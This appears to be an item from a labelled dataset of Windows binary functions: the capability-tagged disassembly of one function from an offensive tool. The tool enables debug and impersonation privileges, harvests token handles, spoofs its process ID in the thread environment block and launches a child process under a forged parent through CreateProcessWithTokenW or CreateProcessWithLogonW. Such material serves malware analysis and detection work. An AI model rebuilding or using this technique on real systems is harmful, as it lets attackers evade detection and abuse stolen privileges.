Function at 0x1400018e0
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10020]
mov eax, 0x10120
call fcn.140018000
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x10010], rax
xor r12d, r12d
mov r14d, ecx
mov edi, r12d
mov qword [rsp + 0x68], r12
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x68]
lea rdx, str.SeDebugPrivilege
call fcn.140001500
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
xorps xmm1, xmm1
mov r13d, eax
xorps xmm0, xmm0
xor eax, eax
mov qword [rdx + 0x40], r14
mov qword [rdx + 0x48], r13
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
movups xmmword [rbp - 0x60], xmm1
mov qword [rbp], rax
movups xmmword [rbp - 0x50], xmm1
mov qword [rsp + 0x60], r12
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x60]
lea rdx, str.SeImpersonatePrivilege
call fcn.140001500
mov rcx, qword [rsp + 0x60]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001b82
lea rax, str.Token
mov dword [rsp + 0x70], 0xc000a
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x70]
mov ebx, 0x10000
call fcn.140001620
test eax, eax
js 0x140001c45
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, ebx
mov r12, rax
call fcn.14000b6c0
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov ecx, 0x10
mov rsi, rax
call r12
cmp eax, 0xc0000004
jne 0x140001a9a
nop dword [rax]
nop word [rax + rax]
lea ecx, [rbx + rbx]
mov ebx, ecx
mov edx, ecx
mov rcx, rsi
call fcn.1400070f0
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov ecx, 0x10
mov rsi, rax
call r12
cmp eax, 0xc0000004
je 0x140001a70
mov ecx, dword [rsi]
test ecx, ecx
je 0x140001ad8
mov r9d, dword [rsp + 0x60]
lea rax, [rsi + 8]
mov r8d, ecx
nop dword [rax]
movzx ecx, byte [rax + 4]
cmp ecx, r9d
jne 0x140001ace
movzx ecx, word [rax]
cmp ecx, r14d
jne 0x140001ace
movzx edx, word [rax + 6]
mov ecx, edi
inc edi
mov qword [rbp + rcx*8 + 0x10], rdx
add rax, 0x18
sub r8, 1
jne 0x140001ab0
mov rcx, rsi
call fcn.14000b6b0
cmp edi, 1
jae 0x140001afc
mov edx, r14d
lea rcx, str.No_token_handles_found_in_process__d__cant_use_CreateProcessWithToken__._Reverting_to_CreateProcessWithLogon__..._n
call fcn.140001010
xor r12d, r12d
mov eax, r12d
jmp 0x140001b04
mov eax, 1
xor r12d, r12d
test eax, eax
je 0x140001b8e
mov ebx, r12d
test edi, edi
je 0x140001b60
lea rsi, [rbp + 0x10]
nop word [rax + rax]
mov rcx, qword [rsi]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov r9, r15
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140001b79
inc ebx
add rsi, 8
cmp ebx, edi
jb 0x140001b20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithTokenW___failed_with_error_code__d__n
call fcn.140001010
jmp 0x140001c06
lea rcx, str.Spoofed_process__S_created_correctly_as_child_of_PID__d_using_CreateProcessWithTokenW___
jmp 0x140001bfb
lea rcx, str.Impersonation_privileges_not_available__cant_use_CreateProcessWithToken__._Reverting_to_CreateProcessWithLogon__..._n
call fcn.140001010
lea rax, [rbp - 0x80]
mov r9d, 2
mov qword [rsp + 0x50], rax
lea r8, str.MalseclogonPwd
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x40], r12
lea rcx, str.MalseclogonUser
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x140001bf4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithLogonW___failed_with_error_code__d__n
call fcn.140001010
jmp 0x140001c06
lea rcx, str.Spoofed_process__S_created_correctly_as_child_of_PID__d_using_CreateProcessWithLogonW___
mov r8d, r14d
mov rdx, r15
call fcn.140001010
mov rcx, qword gs:[0x30]
mov eax, dword [rsp + 0x68]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], r13
mov rcx, qword [rbp + 0x10010]
xor rcx, rsp
call fcn.140002ec0
mov rbx, qword [rsp + 0x10170]
add rsp, 0x10120
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edx, eax
lea rcx, str.GetTypeIndexByName_failed_0x_08x_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006600
int3